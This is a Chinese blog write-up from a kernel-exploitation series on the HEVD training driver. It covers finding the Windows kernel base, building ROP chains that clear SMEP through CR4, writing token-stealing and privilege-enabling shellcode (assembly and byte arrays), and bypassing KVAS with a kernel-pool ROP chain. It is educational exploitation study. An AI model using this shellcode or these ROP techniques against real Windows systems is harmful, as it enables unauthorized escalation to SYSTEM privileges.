Joe1sn's Cabinet

【Win Pwn】HEVD-内核栈溢出(下)


上:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-I/

中:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-II/

文章已在先知社区投稿:https://xz.aliyun.com/t/13365

本附录对第二章的以下几个遗留问题做出说明

  • user编程寻找ROPGadget
  • shellcode编写
  • Token提权
  • KVAS

user编程寻找ROPGadget

ROP全称加返回导向性编程,比如这一章用到的Gadget

1
2
3
4
5
pop rcx
ret

mov cr4, rcx
ret

关于ret汇编本质上就是从栈帧中取出值,然后将ip寄存器设置为该值,等价于pop ip,这样就能完成函数调用的返回等等。

本章中当我们发生栈溢出时,就会把ret的位置设置为第一段gadget的位置

  • pop rcx就会将此时栈顶的值0x00000000002506f8存入rcx寄存器,然后ret又从栈顶取出地址mov_rc4_rcx_ret,然后rip寄存器就跳转执行了
  • mov rc4, rcxrcx值存入rc4中然后ret又将栈顶的值shellcode_addr设置为rip寄存器的值后返回

细心一点就会发现本章截图中的地址不一样,因为内核加载时的内存虚拟地址也是随机化的,不过寻址方式依旧是基地址+偏移

这就引申出函数第一段代码:找到内核的基地址

A.找到内核基地址

通过NtQuerySystemInformation 这个“半隐藏”函数实现的

MSDN:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
1
[in, out] SystemInformation

指向接收请求信息的缓冲区的指针。 此信息的大小和结构因 SystemInformationClass 参数的值而异:

很可惜,关于SystemInformationClass微软并没有公开它的设计,网上有很多关于此的资料

SYSTEM_INFORMATION_CLASShttps://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi/system_information_class.htm

他是一个枚举,其中0xB就代表着要查询的是SystemModuleInformation

SYSTEM_MODULEhttp://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSYSTEM_MODULE.html

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

SystemInformation就是由SYSTEM_MODULE数组作为成员的结构体,这个没有官方文档,也是通过逆向得到的

1
2
3
4
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

关于查询函数的定义:

1
unsigned long long ulGetKernelBase(PCHAR ModuleName);
  1. 首先从ntdll导入函数
  2. 然后初始化变量
  3. 查询后打印并返回,如果没有查到就返回0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned long long ulGetKernelBase(PCHAR ModuleName) {
PVOID kernelImageBase = NULL;
PCHAR kernelImage = NULL;


//import function `NtQuerySystemInformation`
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
printf("[!] GetProcAddress() failed.\n");
return 0;
}

//init length
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
//init module infomations
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL) {
printf("[!] [ulGetKernelBase] Could not allocate memory for module info.\n");
return 0;
}

//starting quering
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);

if (status != (NTSTATUS)0x0) {
printf("[!] [ulGetKernelBase] NtQuerySystemInformation failed with error code 0x%X\n", status);
return 0;
}
for (unsigned int i = 0; i < pModuleInfo->ModulesCount; i++) {
kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
if (strstr(kernelImage, ModuleName)) {
kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
printf("[*] [ulGetKernelBase] Mod name %s ", kernelImage);
#ifdef _WIN64
printf(" Base Addr 0x%llx\r\n", kernelImageBase);
#else
printf(" Base Addr 0x%X\r\n", kernelImageBase);
#endif
return (unsigned long long)kernelImageBase;
}
}
return 0;
}

B. 找到对应汇编

可以使用CTF常用工具ROPGadget,他支持PE格式(因为用的Capstone反汇编引擎)

1
ROPgadget --binary ./HEVD.sys --only "pop|ret"

试试ntoskrl.exe

image-20240119172454699

1
0x000000014039eb47 : mov cr4, rcx ; ret

得到基地址是0x39eb47,另外一个gadget同理

重写修改下EXP

1
2
3
4
5
6
7
8
9
10
unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
unsigned long long pop_rcx = base+ 0x20C64C;
unsigned long long mov_cr4_rcx = base+ 0x39eb47;

printf("[*] Start set ROP\n");
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx;
//set RCX = currentRC4
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8;
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_cr4_rcx;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;

image-20240119174839482

image-20240119174924327

一些常见的gadget字节序列

1
2
3
4
5
6
7
8
9
10
11
{ "RET" , { 0xC3 }},
{ "POP_RAX", { 0x58, 0xC3 }},
{ "POP_RCX", { 0x59, 0xc3 }},
{ "MOV_CR4_RCX", { 0x0f, 0x22, 0xe1, 0xc3 }},

{ "NOP", { 0x4d, 0xc3 }},
{ "POP_RAX_POP_RCX", { 0x58, 0x59, 0xc3 }},
{ "MOV_RCX_PTRRAX", { 0x48, 0x89, 0x08, 0xc3 }},
{ "MOV_RAX_PTRRCX", { 0x89, 0x01, 0xc3 }},
{ "XOR_RAX_RAX", { 0x48, 0x33, 0xc0, 0xc3 }},
{ "XOR_ESI_ESI", { 0x31, 0xf6, 0xc3 }},

如果想直接从二进制读取(这样更快)可以使用:https://github.com/xct/windows-kernel-exploits 提供的思路去找

shellcode编写

A. 手动进行Token提权

第二章中使用的是他人提供的shellcode,这里尝试自己写汇编

注意,这里我们已经进入内核了,所以做的事情和user级别不一样

KRPOCESS不同的是EPROCESS描述了程序运行的相关环境,例如:对应的KPROCESS指针、程序的权限等

在windbg中使用 ,可以列举所有的进程的相关信息

1
!process 0 0 <process_name>

image-20240119180801648

使用下面的命令来查看对应的EPROCESS结构体,这里查看System进程的

1
dt nt!_EPROCESS <Process address>

image-20240119181007630

image-20240119181255215

Token是一个_EX_FAST_REF类型的Union值

image-20240119181935137

RefCnt记录了Token引用的数目,是数据的低4位(64位中,32位是3位)

将当前进程的除RefCnt以外的其他bit位设置为和System的一致就行了,

这里 Value与掩码-0xd(RefCount)进行&运算就能得到真实的Token值

image-20240119183143972

现在将计算出的Token值复制给cmd.exe(这是一个新的Token

image-20240119183328877

image-20240119183538886

image-20240119183521964

image-20240119183609699

B. 进行Shellcode编写

在刚才的EPROCESS中,有一段记录的是程序的链表:ActiveProcessLinks,而且windows会生成一段独特的标识来标记每一个程序:UniqueProcessId,在这段 双向 链表上每段程序都可以被找到,因为可以向前和向后查找,一般System位于链表开头,所以沿着Flink查找

image-20240119193844612

image-20240119193859162

image-20240119194420366

  1. 通过EPROCESS获得自身ActiveProcessLinks,同时向前/向后查找

    这篇文章中通过模仿PsGetCurrentProcessgs:[188h]指向的是一个_KTHREAD ,函数的汇编会将这个地址add addr,0xb8,就得到了当前进程的_EPROCESS,这也是许多shellcode的技巧

    image-20240120111712416

    image-20240120112417119

    ffff9984d3d97080 就为一个 当前进程的KiInitialThread

    +0xB8指向的是当前进程的EPROCESS

    image-20240120112153274

    image-20240120112206849

  2. 比较当前ActiveProcessLinks-8的内存地址是否为UniqueProcessId

  3. 否:更换当前结构体为下一个

  4. 是:从ActiveProcessLinks-0x70的位置得到Token地址

  5. 解析Token,赋值给当前进程(Windows会自动解析为exp的程序(从页表映射等来看确实应该如此))

仔细逆向会发现

image-20240120105543669

那么在没有任何栈变动的情况下add rsp, 0x28就能恢复栈,但是我们只有了ROP,ROP链中存在两个ret和一个pop,抬栈了0x18,所以在shellcode中只需要add rsp, 0x10

image-20240120105533497

同时HEVD的NT_STATUS使用RAX检测处理是否成功,所以要xor rax,rax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[Bits 64]

_start:
xor rax, rax
mov rax, gs:[rax+0x188]
mov rax, [rax+0xb8] ;rax = 当前EPROCESS
mov r9, rax ;r9 = 当前EPROCESS
mov rax, [rax+0x448] ;rax = 当前EPROCESS.List
mov rax, [rax] ;rax = 当前EPROCESS.List->flink

__loop:
mov rdx, [rax-0x8] ;rdx = 上一个进程的 upid
mov r8, rax ;r8 = 当前EPROCESS.List->flink
mov rax, [rax] ;rax = 上一个进程的.List
cmp rdx, 0x4
jnz __loop

;rdx = 4
;r8 = System EPROCESS
mov rdx, [r8+0x70] ;rdx = system token
and rdx, -0x8 ;消除低4位
mov rcx, [r9+0x4b8] ;当前EPROCESS的token
and rcx, 0x7 ;
add rdx, rcx ;rdx = 系统token高位+当前token低4位
mov [r9+0x4b8], rdx ;将合成的token复制给当前

add rsp, 0x10
retn

使用nasm

1
& "C:\Users\xxxx\AppData\Local\bin\NASM\nasm.exe" -f win64 .\TokenSteal.asm -o .\TokenSteal.bin

编译出的文件位COFF格式,要提取出来,这里我用的是CFF Explore的快速反汇编定位到代码然后用HxD提取的

image-20240120110131666

1
2
3
4
5
6
7
8
9
unsigned char cmd[84] = {
0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80,
0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x50, 0xF8, 0x49,
0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91,
0xB8, 0x04, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x10, 0xC3
};

image-20240120105950658

image-20240120110002444

C. 分析上一篇的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BYTE cmd[256] = {
0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89,
0xc1, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b,
0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49, 0x89, 0xc0, 0x48, 0x8b,
0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49, 0x8b, 0x50,
0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49,
0x89, 0x91, 0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01,
0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78,
0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f,
0x01, 0xf8, 0x48, 0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

写入一个二进制文档,用ida逆向

image-20240119202727334

发现原理一致,最后对栈的恢复不同

已知gs:[0x188]指向一个_KTHREAD结构体

image-20240120112824920

根据windbg的调试结果知道

1
2
3
4
5
6
7
8
9
10
mov cx, [rax+0x1e4]		;+0x1e4 KernelApcDisable : 0n-1
inc cx ;
mov [rax+0x1e4], cx ;更新KernelApcDisable为0
mov rdx, [rax+0x90] ;+0x090 [TrapFrame]: 0xfffff88e`1d2edb00
;_KTRAP_FRAME
;---下面为_KTRAP_FRAME
mov rcx, [rdx+0x168] ;[+0x168] Rip
mov r11, [rdx+0x178] ;[+0x178] EFlags
mov rsp, [rdx+0x180] ;[+0x180] Rsp
mov rbp, [rdx+0x158] ;[+0x158] Rbp

image-20240120113526235

可能还是有点😵,反汇编一下TrapFrame的RIP

image-20240120113739799

相当于通过TrapFrame,替换了exp中的DeviceIoControl(模仿正常执行),并让他正常返回

接着重定位GS寄存器,使用sysret返回,为了对齐,有的汇编是这样的写的

1
o64 sysret	; nasm shit

D. 开启Token所有权限 [优化shellcode]

即使我们已经成功生成了令牌,但是功能依旧是不全的

image-20240120114406196

被禁用的功能依旧有很多

I. 开启当前权限为启用

重新打开一个普通用户的cmd.exe

image-20240120125235344

用A部分的方法找到该进程

image-20240120125516929

查看token格式,对照一下SID。(注意低位要为0)

1
!token <Token数值,但是个位数为0>

image-20240120125615410

1
dt !_sep_token_privileges 0xffffb106`ecc96060+0x40

image-20240120130022681

将Enabled值设置为Present值

1
eq 0xffffb106`ecc96060+0x40+8 0x00000006`02880000

image-20240120130054144

查看权限

image-20240120130116310

II. 获得所有权限并启用

用A部分的方法得到System的Token

image-20240120130740237

再得到SystemToken的Present值

image-20240120132052083

设置当前Token的Present和Enabled为该值

image-20240120132313137

查看权限

image-20240120132350635

III.重新编写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[Bits 64]

_start:
xor rax, rax
mov rax, gs:[rax + 0x188]
mov rax, [rax + 0xb8] ;rax = 当前EPROCESS
mov r9, rax ;r9 = 当前EPROCESS
mov rax, [rax + 0x448] ;rax = 当前EPROCESS.List
mov rax, [rax] ;rax = 当前EPROCESS.List->flink

__loop:
mov rdx, [rax - 0x8] ;rdx = 上一个进程的 upid
mov r8, rax ;r8 = 当前EPROCESS.List->flink
mov rax, [rax] ;rax = 上一个进程的.List
cmp rdx, 0x4
jnz __loop

;rdx = 4
;r8 = System EPROCESS
mov rdx, [r8+0x70] ;rdx = system token
and rdx, -0x8 ;消除低4位
mov rcx, [r9+0x4b8] ;当前EPROCESS的token
and rcx, 0x7 ;
add rdx, rcx ;rdx = 系统token高位+当前token低4位
mov [r9+0x4b8], rdx ;将合成的token复制给当前

;Enable ALL
mov rdx, [r8 + 0x70] ;rdx = system token
and rdx, 0xFFFFFFFFFFFFFFF0 ;system token: 消除低8位,便于解析Token
mov rbx, [rdx + 0x40] ;rbx = System token的Present
mov rcx, [r9 + 0x4b8] ;rcx = 新的EPROCESS的token
and rcx, 0xFFFFFFFFFFFFFFF0 ;new current token: 消除低8位,便于解析Token
mov [rcx + 0x40], rbx
mov [rcx + 0x48], rbx

xor rax, rax
add rsp, 0x10
retn

image-20240120134710391

KVAS

A. 简介

KVAS全称是Kernel Virtual Address Shadow,它的出现与MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)有关。

我的描述不一定准确,大致上来说这两个漏洞利用了CPU的乱序执行技术,即CPU在执行时不一定会按照流程执行。当我们访问一个不能被用户模式访问的内存页时,CPU会执行该语句然后将其缓存到内存中,等到发现不能访问后返回错误,但是该数据依旧存在于缓存当中。利用这种思路就可以完全读取内核中的数据,实现权限提升等。

微软为了缓解该漏洞,从用户页表中隔离出内核页表,让用户态访问到的内核页表也是经过映射的,并且会将用户页表自动标记为NX,让我们的shellcode无法执行

B. Bypass

虽然用户页表为不可执行,但是内核页表仍然可执行,只不过会延长我们ROP链的长度

需要用到的函数是:ExAllocatePoolWithTagRtlCopyMemory

  • ExAllocatePoolWithTag:用于在内核中开辟一块地址
  • RtlCopyMemory:复制内存到内核开辟的内存池
1
2
3
4
LPVOID space = ExAllocatePoolWithTag(0, 0x100, 0xDEAD);
//NonPagedPoolExecute = 0
//空间大小:0x100
RtlCopyMemory(space, shellcode_addr, 0x100);

MSDN中说明该两个函数在内核中均位于 NtosKrnl.exe里,我们可以利用第一章的内容寻找到该地址,可以使用CFF Explorer查看导出表找到函数

image-20240120143139338

image-20240120143245405

需要说明的一点是ExAllocatePoolWithTag有一个很恶心的地方就是

image-20240120213553032

这三个mov会打乱我们精心设计的ROP链,而且后面根本没有使用到他,所以要直接进入push rdi的位置

RtlCopyMemory其实是一个宏

image-20240120155359370

1
2
3
unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
unsigned long long ulExAllocatePoolWithTag = base + 0x9B203F;
unsigned long long ulRtlCopyMemory = base + 0x40BEC0;

根据微软的函数调用规则,传参顺序是rcxrdxr8,返回地参数在rax

那么一个理想的ROP布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop rcx rdx r8 ret
0
0x100
0xDEAD
ExAllocatePoolWithTag
---------------------------
pop rcx rdx r8 ret
0 ;暂时
shellcode_addr
0x100;
mov rcx, rax ret ;此时rcx = ExAllocatePoolWithTag返回地内存地址
RtlCopyMemory
---------------------------
jmp rax

就这些gadget中的pop会消除rsp+0x28的驱动的Handle函数返回地址,所以首先是抬栈,如sub rsp, 0x100,在jmp rax之前多次调用ret来抬升rsp的值,最终回到shellcode调整为适用的rsp值。

实际情况中也不会有恰好的gadget用

实际上能用的mov rcx, rax可以通过以下方式实现

1
2
3
0x00000001408fa783 : push rax ; push rbx ; ret
0x00000001408fa77b : push rax ; push rdi ; ret
0x000000014020262C : pop rdi ; ret

这样就能让rcx=rax了,布局后栈的情况

1
2
3
4
ulExAllocatePoolWithTag
pop_rdi
pop_rcx
push_rax_rdi
  1. pop rdiRDI =pop rcx地址,出栈一个,rsp指向push_rax_rdi,然后ret跳转到该地址
  2. push rax:将申请的内核内存地址放到了栈上,rsp指向值就为该内存的地址
  3. push rdi; ret:等效于jmp rdi,于是ret到了pop rcx
  4. pop rcx:此时的栈顶为 2 中入栈的rax

image-20240120214435516

成功让RCX=RAX

image-20240120214609588

这里暂时设计payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//typedef unsigned long long funcaddr;

*(funcaddr*)(stackspace + 0x818) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x818 + 8) = (funcaddr)0;
*(funcaddr*)(stackspace + 0x818 + 0x10) = (funcaddr)pop_rdx;
*(funcaddr*)(stackspace + 0x818 + 0x18) = (funcaddr)0x100;
*(funcaddr*)(stackspace + 0x818 + 0x20) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x28) = (funcaddr)0xDEAD;
*(funcaddr*)(stackspace + 0x818 + 0x30) = (funcaddr)ulExAllocatePoolWithTag;

*(funcaddr*)(stackspace + 0x818 + 0x38) = (funcaddr)pop_rdi; //rsp = 0
*(funcaddr*)(stackspace + 0x818 + 0x40) = (funcaddr)pop_rcx; //rdi = rcx --- been force to zero
*(funcaddr*)(stackspace + 0x818 + 0x48) = (funcaddr)push_rax_rdi;//ret rdi: pop_rcx value changed

*(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx; //此处被低位被清零
*(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr;

*(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);
*(funcaddr*)(stackspace + 0x818 + 0x80) = (funcaddr)ulRtlCopyMemory;
*(funcaddr*)(stackspace + 0x818 + 0x88) = (funcaddr)jmp_rax;

但是进行ExAllocatePoolWithTag

image-20240121084806324

打断了ROP链,让rsp+68的位置的低32位清零了,这让我们需要调整这段rop链

1
2
3
4
5
6
7
*(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx;		//此处被低位被清零
*(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr;
*(funcaddr*)(stackspace + 0x818 + 0x60) = (funcaddr)pop_rdx; //恢复rdx
*(funcaddr*)(stackspace + 0x818 + 0x68) = (funcaddr)shellcode_addr;

*(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);

image-20240121093505807

在设置CR4.SMEP的情况下,依靠内核分配的内存,成功运行了shellcode,ROP链进行了多次调用,让最后shellcode中的rsp值不好估计,并且栈的情况可能随着函数的调用将原有的值抹去,这里先把shellcode换成从TrapFrame返回的

image-20240121095833438

C. 优化shellcode

所以这段shellcode参考shellcode编写的C、D部分,加上了所有功能Enabled的shellcode片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[Bits 64]

_start:
xor rax, rax
mov rax, gs:[rax + 0x188]
mov rax, [rax + 0xb8] ;rax = 当前EPROCESS
mov r9, rax ;r9 = 当前EPROCESS
mov rax, [rax + 0x448] ;rax = 当前EPROCESS.List
mov rax, [rax] ;rax = 当前EPROCESS.List->flink

__loop:
mov rdx, [rax - 0x8] ;rdx = 上一个进程的 upid
mov r8, rax ;r8 = 当前EPROCESS.List->flink
mov rax, [rax] ;rax = 上一个进程的.List
cmp rdx, 0x4
jnz __loop

;rdx = 4
;r8 = System EPROCESS

mov rdx, [r8+0x70] ;rdx = system token
and rdx, -0x8 ;消除低4位
mov rcx, [r9+0x4b8] ;当前EPROCESS的token
and rcx, 0x7 ;
add rdx, rcx ;rdx = 系统token高位+当前token低4位
mov [r9+0x4b8], rdx ;将合成的token复制给当前

;Enable ALL
mov rdx, [r8 + 0x70] ;rdx = system token
and rdx, 0xFFFFFFFFFFFFFFF0 ;system token: 消除低8位,便于解析Token
mov rbx, [rdx + 0x40] ;rbx = System token的Present
mov rcx, [r9 + 0x4b8] ;rcx = 新的EPROCESS的token
and rcx, 0xFFFFFFFFFFFFFFF0 ;new current token: 消除低8位,便于解析Token
mov [rcx + 0x40], rbx
mov [rcx + 0x48], rbx

mov rax, gs:188h
mov cx, [rax+1E4h]
inc cx
mov [rax+1E4h], cx
mov rdx, [rax+90h]
mov rcx, [rdx+168h]
mov r11, [rdx+178h]
mov rsp, [rdx+180h]
mov rbp, [rdx+158h]
xor eax, eax
swapgs
o64 sysret

得到shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned char cmd[176] = {
0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80,
0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x50, 0xF8, 0x49,
0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04,
0x00, 0x00, 0x48, 0x83, 0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91,
0xB8, 0x04, 0x00, 0x00, 0x49, 0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF0,
0x48, 0x8B, 0x5A, 0x40, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48,
0x83, 0xE1, 0xF0, 0x48, 0x89, 0x59, 0x40, 0x48, 0x89, 0x59, 0x48, 0x65,
0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x88, 0xE4,
0x01, 0x00, 0x00, 0x66, 0xFF, 0xC1, 0x66, 0x89, 0x88, 0xE4, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8A, 0x68,
0x01, 0x00, 0x00, 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B,
0xA2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00,
0x31, 0xC0, 0x0F, 0x01, 0xF8, 0x48, 0x0F, 0x07
};

image-20240121200156534

缺点就是程序无法exit退出,不过可以在shellcode中设置Token迁移等一些其他操作,这里就不展开了

参考

https://wumb0.in/finding-the-base-of-the-windows-kernel.html

https://github.com/xct/windows-kernel-exploits

https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/

https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/

https://mdanilor.github.io/posts/hevd-2/